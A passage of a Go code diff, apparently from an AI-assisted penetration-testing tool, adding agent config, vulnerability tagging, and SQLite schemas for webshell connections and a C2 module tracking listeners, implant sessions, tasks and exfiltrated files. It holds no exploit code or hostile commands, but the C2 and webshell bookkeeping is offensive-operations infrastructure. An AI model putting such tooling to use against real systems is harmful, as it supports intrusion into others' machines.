||||
|
||||
func (c MultiAgentEinoMiddlewareConfig) HistoryInputBudgetRatioEffective() float64 {
|
||||
v := c.HistoryInputBudgetRatio
|
||||
if v <= 0 {
|
||||
return 0.35
|
||||
}
|
||||
if v < 0.15 {
|
||||
return 0.15
|
||||
}
|
||||
if v > 0.6 {
|
||||
return 0.6
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
func (c MultiAgentEinoMiddlewareConfig) PlanExecuteUserInputBudgetRatioEffective() float64 {
|
||||
v := c.PlanExecuteUserInputBudgetRatio
|
||||
if v <= 0 {
|
||||
return 0.35
|
||||
}
|
||||
if v < 0.1 {
|
||||
return 0.1
|
||||
}
|
||||
if v > 0.6 {
|
||||
return 0.6
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
func (c MultiAgentEinoMiddlewareConfig) PlanExecuteExecutedStepsBudgetRatioEffective() float64 {
|
||||
v := c.PlanExecuteExecutedStepsBudgetRatio
|
||||
if v <= 0 {
|
||||
return 0.2
|
||||
}
|
||||
if v < 0.08 {
|
||||
return 0.08
|
||||
}
|
||||
if v > 0.5 {
|
||||
return 0.5
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
func (c MultiAgentEinoMiddlewareConfig) PlanExecuteMaxStepResultRunesEffective() int {
|
||||
if c.PlanExecuteMaxStepResultRunes > 0 {
|
||||
return c.PlanExecuteMaxStepResultRunes
|
||||
}
|
||||
return 4000
|
||||
}
|
||||
|
||||
func (c MultiAgentEinoMiddlewareConfig) PlanExecuteKeepLastStepsEffective() int {
|
||||
if c.PlanExecuteKeepLastSteps > 0 {
|
||||
return c.PlanExecuteKeepLastSteps
|
||||
}
|
||||
return 8
|
||||
}
|
||||
|
||||
func (c MultiAgentEinoMiddlewareConfig) ReductionMaxLengthForTruncEffective() int {
|
||||
if c.ReductionMaxLengthForTrunc > 0 {
|
||||
return c.ReductionMaxLengthForTrunc
|
||||
}
|
||||
return 12000
|
||||
}
|
||||
|
||||
func (c MultiAgentEinoMiddlewareConfig) ReductionMaxTokensForClearEffective() int {
|
||||
if c.ReductionMaxTokensForClear > 0 {
|
||||
return c.ReductionMaxTokensForClear
|
||||
}
|
||||
return 50000
|
||||
}
|
||||
|
||||
// MultiAgentEinoSkillsConfig toggles Eino official skill progressive disclosure and host filesystem tools.
|
||||
type MultiAgentEinoSkillsConfig struct {
|
||||
// Disable skips skill middleware (and does not attach local FS tools for Deep).
|
||||
@@ -137,6 +246,8 @@ type MultiAgentPublic struct {
|
||||
SubAgentCount int `json:"sub_agent_count"`
|
||||
Orchestration string `json:"orchestration,omitempty"`
|
||||
PlanExecuteLoopMaxIterations int `json:"plan_execute_loop_max_iterations"`
|
||||
ToolSearchAlwaysVisibleTools []string `json:"tool_search_always_visible_tools,omitempty"`
|
||||
ToolSearchAlwaysVisibleEffectiveTools []string `json:"tool_search_always_visible_effective_tools,omitempty"`
|
||||
}
|
||||
|
||||
// NormalizeMultiAgentOrchestration 返回 deep、plan_execute 或 supervisor。
|
||||
@@ -158,6 +269,7 @@ type MultiAgentAPIUpdate struct {
|
||||
RobotUseMultiAgent bool `json:"robot_use_multi_agent"`
|
||||
BatchUseMultiAgent bool `json:"batch_use_multi_agent"`
|
||||
PlanExecuteLoopMaxIterations *int `json:"plan_execute_loop_max_iterations,omitempty"`
|
||||
ToolSearchAlwaysVisibleTools []string `json:"tool_search_always_visible_tools,omitempty"`
|
||||
}
|
||||
|
||||
// RobotsConfig 机器人配置(企业微信、钉钉、飞书等)
|
||||
|
||||
@@ -165,4 +165,3 @@ func (db *DB) DeleteAttackChain(conversationID string) error {
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -4,6 +4,8 @@ import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -308,7 +310,7 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
|
||||
func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversation, error) {
|
||||
var rows *sql.Rows
|
||||
var err error
|
||||
|
||||
|
||||
if search != "" {
|
||||
// 使用 EXISTS 子查询代替 LEFT JOIN + DISTINCT,避免大表笛卡尔积
|
||||
searchPattern := "%" + search + "%"
|
||||
@@ -327,7 +329,7 @@ func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversati
|
||||
limit, offset,
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("查询对话列表失败: %w", err)
|
||||
}
|
||||
@@ -416,25 +418,34 @@ func (db *DB) DeleteConversation(id string) error {
|
||||
if err != nil {
|
||||
return fmt.Errorf("删除对话失败: %w", err)
|
||||
}
|
||||
// Best-effort cleanup for conversation-scoped filesystem artifacts
|
||||
// (e.g., summarization transcript, reduction/checkpoint files under conversation_artifacts/<id>).
|
||||
if base := strings.TrimSpace(db.conversationArtifactsDir); base != "" {
|
||||
artDir := filepath.Join(base, id)
|
||||
if rmErr := os.RemoveAll(artDir); rmErr != nil {
|
||||
db.logger.Warn("删除会话 artifacts 目录失败", zap.String("conversationId", id), zap.String("dir", artDir), zap.Error(rmErr))
|
||||
}
|
||||
}
|
||||
|
||||
db.logger.Info("对话及其所有相关数据已删除", zap.String("conversationId", id))
|
||||
return nil
|
||||
}
|
||||
|
||||
// SaveReActData 保存最后一轮ReAct的输入和输出
|
||||
func (db *DB) SaveReActData(conversationID, reactInput, reactOutput string) error {
|
||||
// SaveAgentTrace 保存最后一轮代理消息轨迹与助手输出摘要。
|
||||
// SQLite 列名仍为 last_react_input / last_react_output,与历史库表兼容;语义上为「全模式代理轨迹」,非仅 ReAct。
|
||||
func (db *DB) SaveAgentTrace(conversationID, traceInputJSON, assistantOutput string) error {
|
||||
_, err := db.Exec(
|
||||
"UPDATE conversations SET last_react_input = ?, last_react_output = ?, updated_at = ? WHERE id = ?",
|
||||
reactInput, reactOutput, time.Now(), conversationID,
|
||||
traceInputJSON, assistantOutput, time.Now(), conversationID,
|
||||
)
|
||||
if err != nil {
|
||||
return fmt.Errorf("保存ReAct数据失败: %w", err)
|
||||
return fmt.Errorf("保存代理轨迹失败: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetReActData 获取最后一轮ReAct的输入和输出
|
||||
func (db *DB) GetReActData(conversationID string) (reactInput, reactOutput string, err error) {
|
||||
// GetAgentTrace 读取 conversations 中保存的代理轨迹(列名 last_react_*)。
|
||||
func (db *DB) GetAgentTrace(conversationID string) (traceInputJSON, assistantOutput string, err error) {
|
||||
var input, output sql.NullString
|
||||
err = db.QueryRow(
|
||||
"SELECT last_react_input, last_react_output FROM conversations WHERE id = ?",
|
||||
@@ -444,17 +455,17 @@ func (db *DB) GetReActData(conversationID string) (reactInput, reactOutput strin
|
||||
if err == sql.ErrNoRows {
|
||||
return "", "", fmt.Errorf("对话不存在")
|
||||
}
|
||||
return "", "", fmt.Errorf("获取ReAct数据失败: %w", err)
|
||||
return "", "", fmt.Errorf("获取代理轨迹失败: %w", err)
|
||||
}
|
||||
|
||||
if input.Valid {
|
||||
reactInput = input.String
|
||||
traceInputJSON = input.String
|
||||
}
|
||||
if output.Valid {
|
||||
reactOutput = output.String
|
||||
assistantOutput = output.String
|
||||
}
|
||||
|
||||
return reactInput, reactOutput, nil
|
||||
return traceInputJSON, assistantOutput, nil
|
||||
}
|
||||
|
||||
// ConversationHasToolProcessDetails 对话是否存在已落库的工具调用/结果(用于多代理等场景下 MCP execution id 未汇总时的攻击链判定)。
|
||||
|
||||
@@ -3,6 +3,8 @@ package database
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -21,7 +23,8 @@ func configureDBPool(db *sql.DB) {
|
||||
// DB 数据库连接
|
||||
type DB struct {
|
||||
*sql.DB
|
||||
logger *zap.Logger
|
||||
logger *zap.Logger
|
||||
conversationArtifactsDir string
|
||||
}
|
||||
|
||||
// NewDB 创建数据库连接
|
||||
@@ -41,6 +44,13 @@ func NewDB(dbPath string, logger *zap.Logger) (*DB, error) {
|
||||
DB: db,
|
||||
logger: logger,
|
||||
}
|
||||
// Keep conversation-scoped artifacts near database files, so cleanup can follow conversation lifecycle.
|
||||
baseDir := filepath.Join(filepath.Dir(dbPath), "conversation_artifacts")
|
||||
if mkErr := os.MkdirAll(baseDir, 0o755); mkErr == nil {
|
||||
database.conversationArtifactsDir = baseDir
|
||||
} else if logger != nil {
|
||||
logger.Warn("创建 conversation artifacts 目录失败", zap.String("dir", baseDir), zap.Error(mkErr))
|
||||
}
|
||||
|
||||
// 初始化表
|
||||
if err := database.initTables(); err != nil {
|
||||
@@ -52,7 +62,7 @@ func NewDB(dbPath string, logger *zap.Logger) (*DB, error) {
|
||||
|
||||
// initTables 初始化数据库表
|
||||
func (db *DB) initTables() error {
|
||||
// 创建对话表
|
||||
// 创建对话表(last_react_input / last_react_output 存「代理消息轨迹」JSON 与助手摘要,列名保留以兼容已有库)
|
||||
createConversationsTable := `
|
||||
CREATE TABLE IF NOT EXISTS conversations (
|
||||
id TEXT PRIMARY KEY,
|
||||
@@ -197,6 +207,8 @@ func (db *DB) initTables() error {
|
||||
CREATE TABLE IF NOT EXISTS vulnerabilities (
|
||||
id TEXT PRIMARY KEY,
|
||||
conversation_id TEXT NOT NULL,
|
||||
conversation_tag TEXT,
|
||||
task_tag TEXT,
|
||||
title TEXT NOT NULL,
|
||||
description TEXT,
|
||||
severity TEXT NOT NULL,
|
||||
@@ -257,6 +269,8 @@ func (db *DB) initTables() error {
|
||||
method TEXT NOT NULL DEFAULT 'post',
|
||||
cmd_param TEXT NOT NULL DEFAULT '',
|
||||
remark TEXT NOT NULL DEFAULT '',
|
||||
encoding TEXT NOT NULL DEFAULT '',
|
||||
os TEXT NOT NULL DEFAULT '',
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
);`
|
||||
|
||||
@@ -269,6 +283,113 @@ func (db *DB) initTables() error {
|
||||
FOREIGN KEY (connection_id) REFERENCES webshell_connections(id) ON DELETE CASCADE
|
||||
);`
|
||||
|
||||
// ========================================================================
|
||||
// C2 模块(监听器 / 会话 / 任务 / 文件 / 事件 / Malleable Profile)
|
||||
// ========================================================================
|
||||
createC2ListenersTable := `
|
||||
CREATE TABLE IF NOT EXISTS c2_listeners (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL,
|
||||
type TEXT NOT NULL,
|
||||
bind_host TEXT NOT NULL DEFAULT '127.0.0.1',
|
||||
bind_port INTEGER NOT NULL,
|
||||
profile_id TEXT,
|
||||
encryption_key TEXT NOT NULL DEFAULT '',
|
||||
implant_token TEXT NOT NULL DEFAULT '',
|
||||
status TEXT NOT NULL DEFAULT 'stopped',
|
||||
config_json TEXT NOT NULL DEFAULT '{}',
|
||||
remark TEXT NOT NULL DEFAULT '',
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
started_at DATETIME,
|
||||
last_error TEXT
|
||||
);`
|
||||
|
||||
createC2SessionsTable := `
|
||||
CREATE TABLE IF NOT EXISTS c2_sessions (
|
||||
id TEXT PRIMARY KEY,
|
||||
listener_id TEXT NOT NULL,
|
||||
implant_uuid TEXT NOT NULL UNIQUE,
|
||||
hostname TEXT,
|
||||
username TEXT,
|
||||
os TEXT,
|
||||
arch TEXT,
|
||||
pid INTEGER DEFAULT 0,
|
||||
process_name TEXT,
|
||||
is_admin INTEGER DEFAULT 0,
|
||||
internal_ip TEXT,
|
||||
external_ip TEXT,
|
||||
user_agent TEXT,
|
||||
sleep_seconds INTEGER NOT NULL DEFAULT 5,
|
||||
jitter_percent INTEGER NOT NULL DEFAULT 0,
|
||||
status TEXT NOT NULL DEFAULT 'active',
|
||||
first_seen_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
last_check_in DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
metadata_json TEXT DEFAULT '{}',
|
||||
note TEXT NOT NULL DEFAULT '',
|
||||
FOREIGN KEY (listener_id) REFERENCES c2_listeners(id) ON DELETE CASCADE
|
||||
);`
|
||||
|
||||
createC2TasksTable := `
|
||||
CREATE TABLE IF NOT EXISTS c2_tasks (
|
||||
id TEXT PRIMARY KEY,
|
||||
session_id TEXT NOT NULL,
|
||||
task_type TEXT NOT NULL,
|
||||
payload_json TEXT NOT NULL DEFAULT '{}',
|
||||
status TEXT NOT NULL DEFAULT 'queued',
|
||||
result_text TEXT,
|
||||
result_blob_path TEXT,
|
||||
error TEXT,
|
||||
source TEXT NOT NULL DEFAULT 'manual',
|
||||
conversation_id TEXT,
|
||||
approval_status TEXT,
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
sent_at DATETIME,
|
||||
started_at DATETIME,
|
||||
completed_at DATETIME,
|
||||
duration_ms INTEGER DEFAULT 0,
|
||||
FOREIGN KEY (session_id) REFERENCES c2_sessions(id) ON DELETE CASCADE
|
||||
);`
|
||||
|
||||
createC2FilesTable := `
|
||||
CREATE TABLE IF NOT EXISTS c2_files (
|
||||
id TEXT PRIMARY KEY,
|
||||
session_id TEXT NOT NULL,
|
||||
task_id TEXT,
|
||||
direction TEXT NOT NULL,
|
||||
remote_path TEXT NOT NULL,
|
||||
local_path TEXT NOT NULL,
|
||||
size_bytes INTEGER DEFAULT 0,
|
||||
sha256 TEXT,
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (session_id) REFERENCES c2_sessions(id) ON DELETE CASCADE
|
||||
);`
|
||||
|
||||
createC2EventsTable := `
|
||||
CREATE TABLE IF NOT EXISTS c2_events (
|
||||
id TEXT PRIMARY KEY,
|
||||
level TEXT NOT NULL DEFAULT 'info',
|
||||
category TEXT NOT NULL,
|
||||
session_id TEXT,
|
||||
task_id TEXT,
|
||||
message TEXT NOT NULL,
|
||||
data_json TEXT,
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
);`
|
||||
|
||||
createC2ProfilesTable := `
|
||||
CREATE TABLE IF NOT EXISTS c2_profiles (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL UNIQUE,
|
||||
user_agent TEXT,
|
||||
uris_json TEXT NOT NULL DEFAULT '[]',
|
||||
request_headers_json TEXT,
|
||||
response_headers_json TEXT,
|
||||
body_template TEXT,
|
||||
jitter_min_ms INTEGER DEFAULT 0,
|
||||
jitter_max_ms INTEGER DEFAULT 0,
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
);`
|
||||
|
||||
// 创建索引
|
||||
createIndexes := `
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_conversation_id ON messages(conversation_id);
|
||||
@@ -289,6 +410,8 @@ func (db *DB) initTables() error {
|
||||
CREATE INDEX IF NOT EXISTS idx_conversation_group_mappings_group ON conversation_group_mappings(group_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_conversations_pinned ON conversations(pinned);
|
||||
CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_id ON vulnerabilities(conversation_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_tag ON vulnerabilities(conversation_tag);
|
||||
CREATE INDEX IF NOT EXISTS idx_vulnerabilities_task_tag ON vulnerabilities(task_tag);
|
||||
CREATE INDEX IF NOT EXISTS idx_vulnerabilities_severity ON vulnerabilities(severity);
|
||||
CREATE INDEX IF NOT EXISTS idx_vulnerabilities_status ON vulnerabilities(status);
|
||||
CREATE INDEX IF NOT EXISTS idx_vulnerabilities_created_at ON vulnerabilities(created_at);
|
||||
@@ -297,6 +420,19 @@ func (db *DB) initTables() error {
|
||||
CREATE INDEX IF NOT EXISTS idx_batch_task_queues_title ON batch_task_queues(title);
|
||||
CREATE INDEX IF NOT EXISTS idx_webshell_connections_created_at ON webshell_connections(created_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_webshell_connection_states_updated_at ON webshell_connection_states(updated_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_listeners_created_at ON c2_listeners(created_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_listeners_status ON c2_listeners(status);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_sessions_listener ON c2_sessions(listener_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_sessions_status ON c2_sessions(status);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_sessions_last_check_in ON c2_sessions(last_check_in);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_tasks_session ON c2_tasks(session_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_tasks_status ON c2_tasks(status);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_tasks_created_at ON c2_tasks(created_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_tasks_conversation ON c2_tasks(conversation_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_files_session ON c2_files(session_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_events_created_at ON c2_events(created_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_events_category ON c2_events(category);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_events_session ON c2_events(session_id);
|
||||
`
|
||||
|
||||
if _, err := db.Exec(createConversationsTable); err != nil {
|
||||
@@ -363,6 +499,19 @@ func (db *DB) initTables() error {
|
||||
return fmt.Errorf("创建webshell_connection_states表失败: %w", err)
|
||||
}
|
||||
|
||||
for tableName, ddl := range map[string]string{
|
||||
"c2_listeners": createC2ListenersTable,
|
||||
"c2_sessions": createC2SessionsTable,
|
||||
"c2_tasks": createC2TasksTable,
|
||||
"c2_files": createC2FilesTable,
|
||||
"c2_events": createC2EventsTable,
|
||||
"c2_profiles": createC2ProfilesTable,
|
||||
} {
|
||||
if _, err := db.Exec(ddl); err != nil {
|
||||
return fmt.Errorf("创建%s表失败: %w", tableName, err)
|
||||
}
|
||||
}
|
||||
|
||||
// 为已有表添加新字段(如果不存在)- 必须在创建索引之前
|
||||
if err := db.migrateConversationsTable(); err != nil {
|
||||
db.logger.Warn("迁移conversations表失败", zap.Error(err))
|
||||
@@ -383,6 +532,15 @@ func (db *DB) initTables() error {
|
||||
db.logger.Warn("迁移batch_task_queues表失败", zap.Error(err))
|
||||
// 不返回错误,允许继续运行
|
||||
}
|
||||
if err := db.migrateVulnerabilitiesTable(); err != nil {
|
||||
db.logger.Warn("迁移vulnerabilities表失败", zap.Error(err))
|
||||
// 不返回错误,允许继续运行
|
||||
}
|
||||
|
||||
if err := db.migrateWebshellConnectionsTable(); err != nil {
|
||||
db.logger.Warn("迁移webshell_connections表失败", zap.Error(err))
|
||||
// 不返回错误,允许继续运行
|
||||
}
|
||||
|
||||
if _, err := db.Exec(createIndexes); err != nil {
|
||||
return fmt.Errorf("创建索引失败: %w", err)
|
||||
@@ -683,6 +841,68 @@ func (db *DB) migrateBatchTaskQueuesTable() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// migrateVulnerabilitiesTable 迁移 vulnerabilities 表,补充标签字段
|
||||
func (db *DB) migrateVulnerabilitiesTable() error {
|
||||
columns := []struct {
|
||||
name string
|
||||
stmt string
|
||||
}{
|
||||
{name: "conversation_tag", stmt: "ALTER TABLE vulnerabilities ADD COLUMN conversation_tag TEXT"},
|
||||
{name: "task_tag", stmt: "ALTER TABLE vulnerabilities ADD COLUMN task_tag TEXT"},
|
||||
}
|
||||
|
||||
for _, col := range columns {
|
||||
var count int
|
||||
err := db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('vulnerabilities') WHERE name=?", col.name).Scan(&count)
|
||||
if err != nil {
|
||||
if _, addErr := db.Exec(col.stmt); addErr != nil {
|
||||
errMsg := strings.ToLower(addErr.Error())
|
||||
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
|
||||
db.logger.Warn("添加vulnerabilities字段失败", zap.String("field", col.name), zap.Error(addErr))
|
||||
}
|
||||
}
|
||||
continue
|
||||
}
|
||||
if count == 0 {
|
||||
if _, addErr := db.Exec(col.stmt); addErr != nil {
|
||||
db.logger.Warn("添加vulnerabilities字段失败", zap.String("field", col.name), zap.Error(addErr))
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// migrateWebshellConnectionsTable 迁移 webshell_connections 表,补充新字段
|
||||
func (db *DB) migrateWebshellConnectionsTable() error {
|
||||
columns := []struct {
|
||||
name string
|
||||
stmt string
|
||||
}{
|
||||
{name: "encoding", stmt: "ALTER TABLE webshell_connections ADD COLUMN encoding TEXT NOT NULL DEFAULT ''"},
|
||||
{name: "os", stmt: "ALTER TABLE webshell_connections ADD COLUMN os TEXT NOT NULL DEFAULT ''"},
|
||||
}
|
||||
|
||||
for _, col := range columns {
|
||||
var count int
|
||||
err := db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('webshell_connections') WHERE name=?", col.name).Scan(&count)
|
||||
if err != nil {
|
||||
if _, addErr := db.Exec(col.stmt); addErr != nil {
|
||||
errMsg := strings.ToLower(addErr.Error())
|
||||
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
|
||||
db.logger.Warn("添加webshell_connections字段失败", zap.String("field", col.name), zap.Error(addErr))
|
||||
}
|
||||
}
|
||||
continue
|
||||
}
|
||||
if count == 0 {
|
||||
if _, addErr := db.Exec(col.stmt); addErr != nil {
|
||||
db.logger.Warn("添加webshell_connections字段失败", zap.String("field", col.name), zap.Error(addErr))
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// NewKnowledgeDB 创建知识库数据库连接(只包含知识库相关的表)
|
||||
func NewKnowledgeDB(dbPath string, logger *zap.Logger) (*DB, error) {
|
||||
sqlDB, err := sql.Open("sqlite3", dbPath+"?_journal_mode=WAL&_foreign_keys=1&_busy_timeout=5000&_synchronous=NORMAL")
|
||||
|
||||
@@ -12,7 +12,11 @@ import (
|
||||
// Vulnerability 漏洞
|
||||
type Vulnerability struct {
|
||||
ID string `json:"id"`
|
||||
ConversationID string `json:"conversation_id"`
|
||||
ConversationID string `json:"conversation_id"`
|
||||
ConversationTag string `json:"conversation_tag,omitempty"`
|
||||
TaskTag string `json:"task_tag,omitempty"`
|
||||
TaskID string `json:"task_id,omitempty"`
|
||||
TaskQueueID string `json:"task_queue_id,omitempty"`
|
||||
Title string `json:"title"`
|
||||
Description string `json:"description"`
|
||||
Severity string `json:"severity"` // critical, high, medium, low, info
|
||||
@@ -42,15 +46,15 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
|
||||
|
||||
query := `
|
||||
INSERT INTO vulnerabilities (
|
||||
id, conversation_id, title, description, severity, status,
|
||||
id, conversation_id, conversation_tag, task_tag, title, description, severity, status,
|
||||
vulnerability_type, target, proof, impact, recommendation,
|
||||
created_at, updated_at
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
`
|
||||
|
||||
_, err := db.Exec(
|
||||
query,
|
||||
vuln.ID, vuln.ConversationID, vuln.Title, vuln.Description,
|
||||
vuln.ID, vuln.ConversationID, vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
|
||||
vuln.Severity, vuln.Status, vuln.Type, vuln.Target,
|
||||
vuln.Proof, vuln.Impact, vuln.Recommendation,
|
||||
vuln.CreatedAt, vuln.UpdatedAt,
|
||||
@@ -67,7 +71,9 @@ func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
|
||||
var vuln Vulnerability
|
||||
query := `
|
||||
SELECT id, conversation_id, title, description, severity, status,
|
||||
vulnerability_type, target, proof, impact, recommendation,
|
||||
conversation_tag, task_tag, vulnerability_type, target, proof, impact, recommendation,
|
||||
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
||||
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
||||
created_at, updated_at
|
||||
FROM vulnerabilities
|
||||
WHERE id = ?
|
||||
@@ -75,8 +81,9 @@ func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
|
||||
|
||||
err := db.QueryRow(query, id).Scan(
|
||||
&vuln.ID, &vuln.ConversationID, &vuln.Title, &vuln.Description,
|
||||
&vuln.Severity, &vuln.Status, &vuln.Type, &vuln.Target,
|
||||
&vuln.Severity, &vuln.Status, &vuln.ConversationTag, &vuln.TaskTag, &vuln.Type, &vuln.Target,
|
||||
&vuln.Proof, &vuln.Impact, &vuln.Recommendation,
|
||||
&vuln.TaskID, &vuln.TaskQueueID,
|
||||
&vuln.CreatedAt, &vuln.UpdatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
@@ -90,10 +97,12 @@ func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
|
||||
}
|
||||
|
||||
// ListVulnerabilities 列出漏洞
|
||||
func (db *DB) ListVulnerabilities(limit, offset int, id, conversationID, severity, status string) ([]*Vulnerability, error) {
|
||||
func (db *DB) ListVulnerabilities(limit, offset int, id, conversationID, severity, status, taskID, conversationTag, taskTag string) ([]*Vulnerability, error) {
|
||||
query := `
|
||||
SELECT id, conversation_id, title, description, severity, status,
|
||||
SELECT id, conversation_id, title, description, severity, status, conversation_tag, task_tag,
|
||||
vulnerability_type, target, proof, impact, recommendation,
|
||||
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
||||
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
||||
created_at, updated_at
|
||||
FROM vulnerabilities
|
||||
WHERE 1=1
|
||||
@@ -108,6 +117,18 @@ func (db *DB) ListVulnerabilities(limit, offset int, id, conversationID, severit
|
||||
query += " AND conversation_id = ?"
|
||||
args = append(args, conversationID)
|
||||
}
|
||||
if taskID != "" {
|
||||
query += " AND EXISTS (SELECT 1 FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id AND (bt.id = ? OR bt.queue_id = ?))"
|
||||
args = append(args, taskID, taskID)
|
||||
}
|
||||
if conversationTag != "" {
|
||||
query += " AND conversation_tag = ?"
|
||||
args = append(args, conversationTag)
|
||||
}
|
||||
if taskTag != "" {
|
||||
query += " AND task_tag = ?"
|
||||
args = append(args, taskTag)
|
||||
}
|
||||
if severity != "" {
|
||||
query += " AND severity = ?"
|
||||
args = append(args, severity)
|
||||
@@ -131,8 +152,9 @@ func (db *DB) ListVulnerabilities(limit, offset int, id, conversationID, severit
|
||||
var vuln Vulnerability
|
||||
err := rows.Scan(
|
||||
&vuln.ID, &vuln.ConversationID, &vuln.Title, &vuln.Description,
|
||||
&vuln.Severity, &vuln.Status, &vuln.Type, &vuln.Target,
|
||||
&vuln.Severity, &vuln.Status, &vuln.ConversationTag, &vuln.TaskTag, &vuln.Type, &vuln.Target,
|
||||
&vuln.Proof, &vuln.Impact, &vuln.Recommendation,
|
||||
&vuln.TaskID, &vuln.TaskQueueID,
|
||||
&vuln.CreatedAt, &vuln.UpdatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
@@ -146,7 +168,7 @@ func (db *DB) ListVulnerabilities(limit, offset int, id, conversationID, severit
|
||||
}
|
||||
|
||||
// CountVulnerabilities 统计漏洞总数(支持筛选条件)
|
||||
func (db *DB) CountVulnerabilities(id, conversationID, severity, status string) (int, error) {
|
||||
func (db *DB) CountVulnerabilities(id, conversationID, severity, status, taskID, conversationTag, taskTag string) (int, error) {
|
||||
query := "SELECT COUNT(*) FROM vulnerabilities WHERE 1=1"
|
||||
args := []interface{}{}
|
||||
|
||||
@@ -158,6 +180,18 @@ func (db *DB) CountVulnerabilities(id, conversationID, severity, status string)
|
||||
query += " AND conversation_id = ?"
|
||||
args = append(args, conversationID)
|
||||
}
|
||||
if taskID != "" {
|
||||
query += " AND EXISTS (SELECT 1 FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id AND (bt.id = ? OR bt.queue_id = ?))"
|
||||
args = append(args, taskID, taskID)
|
||||
}
|
||||
if conversationTag != "" {
|
||||
query += " AND conversation_tag = ?"
|
||||
args = append(args, conversationTag)
|
||||
}
|
||||
if taskTag != "" {
|
||||
query += " AND task_tag = ?"
|
||||
args = append(args, taskTag)
|
||||
}
|
||||
if severity != "" {
|
||||
query += " AND severity = ?"
|
||||
args = append(args, severity)
|
||||
@@ -182,7 +216,7 @@ func (db *DB) UpdateVulnerability(id string, vuln *Vulnerability) error {
|
||||
|
||||
query := `
|
||||
UPDATE vulnerabilities
|
||||
SET title = ?, description = ?, severity = ?, status = ?,
|
||||
SET conversation_tag = ?, task_tag = ?, title = ?, description = ?, severity = ?, status = ?,
|
||||
vulnerability_type = ?, target = ?, proof = ?, impact = ?,
|
||||
recommendation = ?, updated_at = ?
|
||||
WHERE id = ?
|
||||
@@ -190,7 +224,7 @@ func (db *DB) UpdateVulnerability(id string, vuln *Vulnerability) error {
|
||||
|
||||
_, err := db.Exec(
|
||||
query,
|
||||
vuln.Title, vuln.Description, vuln.Severity, vuln.Status,
|
||||
